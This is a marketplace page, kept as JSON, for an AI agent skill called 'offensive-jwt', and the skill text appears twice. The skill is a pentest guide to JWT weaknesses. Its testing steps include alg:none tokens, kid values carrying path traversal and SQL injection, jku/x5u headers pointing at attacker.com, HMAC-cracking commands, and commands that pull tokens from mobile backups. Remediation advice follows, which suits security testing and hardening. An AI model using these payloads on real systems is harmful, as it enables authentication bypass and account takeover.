[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FW74KQ8JHE60BP8DD20F2":3,"skill-same:01M71FW74KQ8JHE60BP8DD20F2":55},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":23,"linkOnly":24,"markdownContent":25,"markdownBody":26,"frontMatter":27,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":14,"repositoryHtmlUrl":31,"repositoryHomepageUrl":6,"ownerHtmlUrl":32,"ownerBlogUrl":6,"ownerDescription":33,"updatedAt":34,"install":35,"resources":48},"01M71FW74KQ8JHE60BP8DD20F2","offensive-jwt",null,"Offensive Jwt.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-jwt\u002FSKILL.md",[],[19,20,21,22],"jwt","offensive","offensive jwt","cybersecurity","2026-11-10 10:12:30",false,"---\nname: offensive-jwt\ndescription: \"Offensive Jwt.\"\ndomain: cybersecurity\n---\n\n-|\n| HS256\u002F384\u002F512 | Symmetric HMAC | Shared secret; confusion target |\n| RS256\u002F384\u002F512 | Asymmetric RSA | Public key can be misused as HMAC secret |\n| ES256\u002F384\u002F512 | Asymmetric ECDSA | |\n| PS256\u002F384\u002F512 | RSASSA-PSS | |\n| EdDSA (Ed25519\u002FEd448) | Asymmetric | |\n| none | Unsigned | Critically insecure |\n\n**Additional pitfalls:**\n- JWS\u002FJWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`\u002F`cty`\n- JWKS retrieval: SSRF via `jku`\u002F`x5u`, insecure TLS, poisoned key caching, `kid` collisions\n- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients\n\n## Hunt: Identifying JWT Usage\n\n1. Check `Authorization: Bearer \u003Ctoken>` headers in all requests\n2. Look for cookies containing JWT structures (`eyJ...`)\n3. Examine browser local\u002Fsession storage\n4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters\n5. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces\n\n## Vulnerability Map\n\n```\nJWT Vulnerabilities\n├── Algorithm Bypass\n│   ├── alg:none attack\n│   └── RS256→HS256 confusion (public key as HMAC secret)\n├── Weak Secret Key → Brute force\n├── kid Parameter Injection\n│   ├── SQL injection via kid\n│   └── Path traversal via kid\n├── Header Injection\n│   ├── jwk (inline fake key)\n│   ├── jku\u002Fx5u (remote attacker-controlled JWKS)\n│   └── JWKS cache poisoning\n└── Missing \u002F Broken Validation\n    ├── No signature check\n    ├── Expired tokens accepted\n    └── iss\u002Faud\u002Fexp not validated\n```\n\n## Vulnerabilities\n\n### Algorithm Vulnerabilities\n\n- **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`)\n- **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key\n- **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths \u002F SQL; enforce strict lookups\n\n### Signature Vulnerabilities\n\n- **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat\n- **Missing Signature Validation** — Token accepted without any verification\n- **Broken Validation** — Implementation errors in signature checking logic\n\n### Implementation Issues\n\n- **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified\n- **Insufficient Entropy** — Predictable JWT IDs or tokens\n- **No Expiration** — Tokens valid indefinitely\n- **Insecure Transport** — Token sent over HTTP\n- **Debug Leakage** — Detailed error messages expose implementation\n\n### Header Injection Attacks\n\n- **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header\n- **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint\n- **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects\n- **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation\n- **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass\n\n### Information Disclosure\n\n- Sensitive data (PII, credentials, session details) stored unencrypted in payload\n- Internal service\u002Fbackend information leaked via claims\n\n## Additional Attack Vectors\n\n### Mobile App JWT Storage\n\n**Android:**\n- `SharedPreferences`: Check if world-readable; location `\u002Fdata\u002Fdata\u002F\u003Cpackage>\u002Fshared_prefs\u002F`\n- Keystore extraction: root device or exploit app\n- Backup extraction: `adb backup -f backup.ab \u003Cpackage>` (if `allowBackup=true`)\n- Tools: Frida, objection, MobSF\n\n**iOS:**\n- Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure\n- iTunes\u002FiCloud backup extraction: unencrypted backups expose Keychain\n- Jailbreak + Keychain-Dumper for full extraction\n- Tools: Frida, objection, idb\n\n**React Native \u002F Hybrid:**\n- `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default\n\n```bash\n# Android — check SharedPreferences\nadb shell \"run-as com.target.app cat \u002Fdata\u002Fdata\u002Fcom.target.app\u002Fshared_prefs\u002Fauth.xml\"\n\n# iOS — extract from backup\nidevicebackup2 backup --full \u002Fpath\u002Fto\u002Fbackup\n# Use plist\u002Fsqlite tools to extract JWT\n```\n\n### JWT Confusion Attacks\n\n- **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path\n- **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa\n- **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session\n- **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token\n\n```bash\n# Try API key where JWT expected\ncurl -H \"Authorization: Bearer \u003Capi_key>\" https:\u002F\u002Fapi.target\u002Fresource\n\n# Try JWT where API key expected\ncurl -H \"X-API-Key: \u003Cjwt_token>\" https:\u002F\u002Fapi.target\u002Fresource\n```\n\n### Timing Attacks on HMAC\n\nNon-constant-time comparison leaks the HMAC secret character by character via response time differences.\n\n```python\nimport requests, time\n\ndef time_request(signature):\n    start = time.perf_counter()\n    r = requests.get('https:\u002F\u002Ftarget\u002Fapi',\n                     headers={'Authorization': f'Bearer header.payload.{signature}'})\n    return time.perf_counter() - start\n\n# Brute-force first byte — longer response time indicates correct byte\nfor byte in range(256):\n    sig = bytes([byte]) + b'\\x00' * 31\n    t = time_request(sig.hex())\n```\n\n### JWT in URL Parameters\n\n- Tokens in GET URLs appear in server logs, proxy logs, browser history\n- Leaked via `Referer` header to external sites; CDN\u002Fcache logs may persist tokens\n\n```bash\ncurl \"https:\u002F\u002Fapi.target\u002Fresource?token=eyJ...\"\ncurl \"https:\u002F\u002Fapi.target\u002Fresource?access_token=eyJ...\"\ncurl \"https:\u002F\u002Fapi.target\u002Fresource?jwt=eyJ...\"\n```\n\nCheck Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.\n\n## Manual Testing Steps\n\n1. **Decode and Inspect:**\n   ```\n   base64url_decode(header) . base64url_decode(payload) . signature\n   ```\n\n2. **Test `none` Algorithm** (try all case variants):\n   ```\n   {\"alg\":\"none\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"None\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"NONE\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"nOnE\",\"typ\":\"JWT\"}.payload.\"\"\n   ```\n\n3. **Algorithm Confusion (RS256→HS256):**\n   ```\n   # Re-sign with RSA public key used as HMAC secret\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"expected-key\"}.payload.\u003Cre-signed-with-public-key-as-secret>\n   ```\n\n4. **kid Parameter Attacks:**\n   ```\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\"}\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"file:\u002F\u002F\u002Fdev\u002Fnull\"}\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"' OR 1=1 --\"}\n   ```\n\n5. **JWK\u002FJKU Injection:**\n   ```\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"jwk\":{\"kty\":\"RSA\",\"e\":\"AQAB\",\"kid\":\"attacker-key\",\"n\":\"...\"}}\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"jku\":\"https:\u002F\u002Fattacker.com\u002Fjwks.json\"}\n   ```\n\n6. **x5u \u002F crit Handling:**\n   ```\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"x5u\":\"https:\u002F\u002Fattacker.com\u002Fcert.pem\"}\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"crit\":[\"exp\"],\"exp\":null}\n   ```\n\n7. **Brute Force HMAC Secret:**\n   ```bash\n   python3 jwt_tool.py \u003Ctoken> -C -d wordlist.txt\n   ```\n\n8. **Test Missing Claim Validation:**\n   - Remove or modify `exp` (expiration)\n   - Change `iss` (issuer) or `aud` (audience)\n   - Modify `iat` (issued at) or `nbf` (not before)\n\n## Automated Testing with JWT_Tool\n\n```bash\n# Basic token inspection\npython3 jwt_tool.py \u003Ctoken>\n\n# Full vulnerability scan\npython3 jwt_tool.py \u003Ctoken> -M all\n\n# Targeted attacks\npython3 jwt_tool.py \u003Ctoken> -X a     # Algorithm confusion\npython3 jwt_tool.py \u003Ctoken> -X n     # Null\u002Fnone signature\npython3 jwt_tool.py \u003Ctoken> -X i     # Identity theft\npython3 jwt_tool.py \u003Ctoken> -X k     # Key confusion\n\n# Crack HMAC secret\npython3 jwt_tool.py \u003Ctoken> -C -d wordlist.txt\n```\n\n**Other tools:**\n- JWT.io — basic token inspection and debugging\n- Burp Suite JWT Scanner \u002F JWT Editor extension — automated testing and token editing\n- jwtXploiter — advanced JWT vulnerability scanning\n- c-jwt-cracker — high-speed HMAC brute force (C implementation)\n- Frida, objection, MobSF — mobile JWT extraction\n\n## Remediation Recommendations\n\n- Use short-lived access tokens; rotate refresh tokens frequently\n- Always validate `aud` (audience) and `iss` (issuer) claims\n- Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client\u002Fissuer\n- Ensure key material loaded for verification matches `alg`; reject mismatches\n- Reject tokens with unknown `crit` header parameters\n- Validate JWKS over pinned TLS; disallow remote `jku`\u002F`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness\n- Enforce maximum token length; disable JWE compression unless required\n- Maintain server-side deny-list keyed by `jti` for early revocation\n- For DPoP tokens (`typ:\"dpop+jwt\"`): verify proof binds to HTTP request; enforce one-time nonce use\n- Bind sessions to device when possible; rotate refresh tokens on every use\n- Prefer `SameSite=Lax\u002FStrict` HttpOnly cookies for web; avoid localStorage for access tokens\n\n## Alternatives & Modern Mitigations\n\n- **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks\n- **Macaroons** — bearer tokens with attenuable, caveat-based delegation\n- **DPoP and mTLS** — bind tokens to the client to prevent replay\n","-|\n| HS256\u002F384\u002F512 | Symmetric HMAC | Shared secret; confusion target |\n| RS256\u002F384\u002F512 | Asymmetric RSA | Public key can be misused as HMAC secret |\n| ES256\u002F384\u002F512 | Asymmetric ECDSA | |\n| PS256\u002F384\u002F512 | RSASSA-PSS | |\n| EdDSA (Ed25519\u002FEd448) | Asymmetric | |\n| none | Unsigned | Critically insecure |\n\n**Additional pitfalls:**\n- JWS\u002FJWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected `typ`\u002F`cty`\n- JWKS retrieval: SSRF via `jku`\u002F`x5u`, insecure TLS, poisoned key caching, `kid` collisions\n- Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients\n\n## Hunt: Identifying JWT Usage\n\n1. Check `Authorization: Bearer \u003Ctoken>` headers in all requests\n2. Look for cookies containing JWT structures (`eyJ...`)\n3. Examine browser local\u002Fsession storage\n4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters\n5. Note any `kid`, `jku`, `jwk`, `x5u` fields in the header — these are attack surfaces\n\n## Vulnerability Map\n\n```\nJWT Vulnerabilities\n├── Algorithm Bypass\n│   ├── alg:none attack\n│   └── RS256→HS256 confusion (public key as HMAC secret)\n├── Weak Secret Key → Brute force\n├── kid Parameter Injection\n│   ├── SQL injection via kid\n│   └── Path traversal via kid\n├── Header Injection\n│   ├── jwk (inline fake key)\n│   ├── jku\u002Fx5u (remote attacker-controlled JWKS)\n│   └── JWKS cache poisoning\n└── Missing \u002F Broken Validation\n    ├── No signature check\n    ├── Expired tokens accepted\n    └── iss\u002Faud\u002Fexp not validated\n```\n\n## Vulnerabilities\n\n### Algorithm Vulnerabilities\n\n- **alg:none** — Some libraries disable signature validation when `alg` is `none` or a case variant (`None`, `NONE`, `nOnE`)\n- **Algorithm Confusion (RS256→HS256)** — Server uses RSA public key as HMAC secret when attacker switches `alg` to HS256; attacker re-signs token with the public key\n- **Key ID (`kid`) Manipulation** — Exploiting `kid` to load wrong keys or inject file paths \u002F SQL; enforce strict lookups\n\n### Signature Vulnerabilities\n\n- **Weak HMAC Secrets** — Brute-forceable with dictionary or hashcat\n- **Missing Signature Validation** — Token accepted without any verification\n- **Broken Validation** — Implementation errors in signature checking logic\n\n### Implementation Issues\n\n- **Missing Claims Validation** — `exp`, `nbf`, `aud`, `iss` not verified\n- **Insufficient Entropy** — Predictable JWT IDs or tokens\n- **No Expiration** — Tokens valid indefinitely\n- **Insecure Transport** — Token sent over HTTP\n- **Debug Leakage** — Detailed error messages expose implementation\n\n### Header Injection Attacks\n\n- **JWK Injection** — Supply a custom attacker-controlled public key via the `jwk` header\n- **JKU Manipulation** — Point `jku` (JWK Set URL) to attacker-controlled JWKS endpoint\n- **x5u Misuse** — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects\n- **JWKS Cache Poisoning** — Force caches to accept attacker keys via `kid` collisions or response header manipulation\n- **`crit` Header Abuse** — Server ignores unknown critical parameters, enabling bypass\n\n### Information Disclosure\n\n- Sensitive data (PII, credentials, session details) stored unencrypted in payload\n- Internal service\u002Fbackend information leaked via claims\n\n## Additional Attack Vectors\n\n### Mobile App JWT Storage\n\n**Android:**\n- `SharedPreferences`: Check if world-readable; location `\u002Fdata\u002Fdata\u002F\u003Cpackage>\u002Fshared_prefs\u002F`\n- Keystore extraction: root device or exploit app\n- Backup extraction: `adb backup -f backup.ab \u003Cpackage>` (if `allowBackup=true`)\n- Tools: Frida, objection, MobSF\n\n**iOS:**\n- Keychain: Check `kSecAttrAccessible` — `kSecAttrAccessibleAlways` is insecure\n- iTunes\u002FiCloud backup extraction: unencrypted backups expose Keychain\n- Jailbreak + Keychain-Dumper for full extraction\n- Tools: Frida, objection, idb\n\n**React Native \u002F Hybrid:**\n- `AsyncStorage` stored in plain text (Android SQLite DB, iOS plist); no encryption by default\n\n```bash\n# Android — check SharedPreferences\nadb shell \"run-as com.target.app cat \u002Fdata\u002Fdata\u002Fcom.target.app\u002Fshared_prefs\u002Fauth.xml\"\n\n# iOS — extract from backup\nidevicebackup2 backup --full \u002Fpath\u002Fto\u002Fbackup\n# Use plist\u002Fsqlite tools to extract JWT\n```\n\n### JWT Confusion Attacks\n\n- **SAML-JWT Confusion** — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path\n- **API Key-JWT Confusion** — Test sending JWT where API key expected and vice versa\n- **Session Cookie-JWT Hybrid** — Test expired JWT with valid session cookie; inject JWT claims into session\n- **OAuth Token Confusion** — Send ID token (JWT) to resource server expecting opaque access token\n\n```bash\n# Try API key where JWT expected\ncurl -H \"Authorization: Bearer \u003Capi_key>\" https:\u002F\u002Fapi.target\u002Fresource\n\n# Try JWT where API key expected\ncurl -H \"X-API-Key: \u003Cjwt_token>\" https:\u002F\u002Fapi.target\u002Fresource\n```\n\n### Timing Attacks on HMAC\n\nNon-constant-time comparison leaks the HMAC secret character by character via response time differences.\n\n```python\nimport requests, time\n\ndef time_request(signature):\n    start = time.perf_counter()\n    r = requests.get('https:\u002F\u002Ftarget\u002Fapi',\n                     headers={'Authorization': f'Bearer header.payload.{signature}'})\n    return time.perf_counter() - start\n\n# Brute-force first byte — longer response time indicates correct byte\nfor byte in range(256):\n    sig = bytes([byte]) + b'\\x00' * 31\n    t = time_request(sig.hex())\n```\n\n### JWT in URL Parameters\n\n- Tokens in GET URLs appear in server logs, proxy logs, browser history\n- Leaked via `Referer` header to external sites; CDN\u002Fcache logs may persist tokens\n\n```bash\ncurl \"https:\u002F\u002Fapi.target\u002Fresource?token=eyJ...\"\ncurl \"https:\u002F\u002Fapi.target\u002Fresource?access_token=eyJ...\"\ncurl \"https:\u002F\u002Fapi.target\u002Fresource?jwt=eyJ...\"\n```\n\nCheck Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.\n\n## Manual Testing Steps\n\n1. **Decode and Inspect:**\n   ```\n   base64url_decode(header) . base64url_decode(payload) . signature\n   ```\n\n2. **Test `none` Algorithm** (try all case variants):\n   ```\n   {\"alg\":\"none\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"None\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"NONE\",\"typ\":\"JWT\"}.payload.\"\"\n   {\"alg\":\"nOnE\",\"typ\":\"JWT\"}.payload.\"\"\n   ```\n\n3. **Algorithm Confusion (RS256→HS256):**\n   ```\n   # Re-sign with RSA public key used as HMAC secret\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"expected-key\"}.payload.\u003Cre-signed-with-public-key-as-secret>\n   ```\n\n4. **kid Parameter Attacks:**\n   ```\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\"}\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"file:\u002F\u002F\u002Fdev\u002Fnull\"}\n   {\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"' OR 1=1 --\"}\n   ```\n\n5. **JWK\u002FJKU Injection:**\n   ```\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"jwk\":{\"kty\":\"RSA\",\"e\":\"AQAB\",\"kid\":\"attacker-key\",\"n\":\"...\"}}\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"jku\":\"https:\u002F\u002Fattacker.com\u002Fjwks.json\"}\n   ```\n\n6. **x5u \u002F crit Handling:**\n   ```\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"x5u\":\"https:\u002F\u002Fattacker.com\u002Fcert.pem\"}\n   {\"alg\":\"RS256\",\"typ\":\"JWT\",\"crit\":[\"exp\"],\"exp\":null}\n   ```\n\n7. **Brute Force HMAC Secret:**\n   ```bash\n   python3 jwt_tool.py \u003Ctoken> -C -d wordlist.txt\n   ```\n\n8. **Test Missing Claim Validation:**\n   - Remove or modify `exp` (expiration)\n   - Change `iss` (issuer) or `aud` (audience)\n   - Modify `iat` (issued at) or `nbf` (not before)\n\n## Automated Testing with JWT_Tool\n\n```bash\n# Basic token inspection\npython3 jwt_tool.py \u003Ctoken>\n\n# Full vulnerability scan\npython3 jwt_tool.py \u003Ctoken> -M all\n\n# Targeted attacks\npython3 jwt_tool.py \u003Ctoken> -X a     # Algorithm confusion\npython3 jwt_tool.py \u003Ctoken> -X n     # Null\u002Fnone signature\npython3 jwt_tool.py \u003Ctoken> -X i     # Identity theft\npython3 jwt_tool.py \u003Ctoken> -X k     # Key confusion\n\n# Crack HMAC secret\npython3 jwt_tool.py \u003Ctoken> -C -d wordlist.txt\n```\n\n**Other tools:**\n- JWT.io — basic token inspection and debugging\n- Burp Suite JWT Scanner \u002F JWT Editor extension — automated testing and token editing\n- jwtXploiter — advanced JWT vulnerability scanning\n- c-jwt-cracker — high-speed HMAC brute force (C implementation)\n- Frida, objection, MobSF — mobile JWT extraction\n\n## Remediation Recommendations\n\n- Use short-lived access tokens; rotate refresh tokens frequently\n- Always validate `aud` (audience) and `iss` (issuer) claims\n- Disable `none` algorithm; prevent algorithm downgrades; pin `alg` per client\u002Fissuer\n- Ensure key material loaded for verification matches `alg`; reject mismatches\n- Reject tokens with unknown `crit` header parameters\n- Validate JWKS over pinned TLS; disallow remote `jku`\u002F`x5u` except trusted domains; short-TTL key caching with `kid` uniqueness\n- Enforce maximum token length; disable JWE compression unless required\n- Maintain server-side deny-list keyed by `jti` for early revocation\n- For DPoP tokens (`typ:\"dpop+jwt\"`): verify proof binds to HTTP request; enforce one-time nonce use\n- Bind sessions to device when possible; rotate refresh tokens on every use\n- Prefer `SameSite=Lax\u002FStrict` HttpOnly cookies for web; avoid localStorage for access tokens\n\n## Alternatives & Modern Mitigations\n\n- **PASETO** — removes algorithm negotiation entirely; eliminates confusion attacks\n- **Macaroons** — bearer tokens with attenuable, caveat-based delegation\n- **DPoP and mTLS** — bind tokens to the client to prevent replay\n",{"name":5,"domain":22,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Foffensive-jwt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill offensive-jwt",{"tool":41,"command":42},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill offensive-jwt",{"tool":44,"command":45},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill offensive-jwt","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-jwt\u002FSKILL.md",true,[49],{"path":50,"resourceType":51,"resourceTypeDesc":52,"sizeBytes":53,"sourceHtmlUrl":54},"index.json","REFERENCE","参考文档",452,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-jwt\u002Findex.json",[56,66,91,114,136,158],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":60,"licenseFileUrl":61,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":65},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":23},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[73,74,75,76,77,78,79,22,80,81,82,83,84,85,86,87,88,89,90],"services","detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm","de",{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":23},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[98,76,99,73,100,101,102,103,104,22,105,106,107,108,109,110,111,112,90,113],"exec","services wmi exec exploit","exploit","across","Bash","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","read","lateral movement","command","native",{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":23},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[121,122,123,124,125,126,127,128,129,130,110,90,131,132,103,133,102,22,134,135],"extract","registry artifact extract","registry","artifact","digital-forensics","sonnet","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":140,"categories":141,"keywords":142,"publishedAt":23},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[143,144,145,74,22,146,89,147,148,149,78,90,150,151,152,153,154,155,156,157],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":159,"name":160,"nameZh":6,"description":161,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":164,"publishedAt":23},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[165,143,166,74,167,168,79,90,150,169,170,171,103,78,22,146,172,89,173,148],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]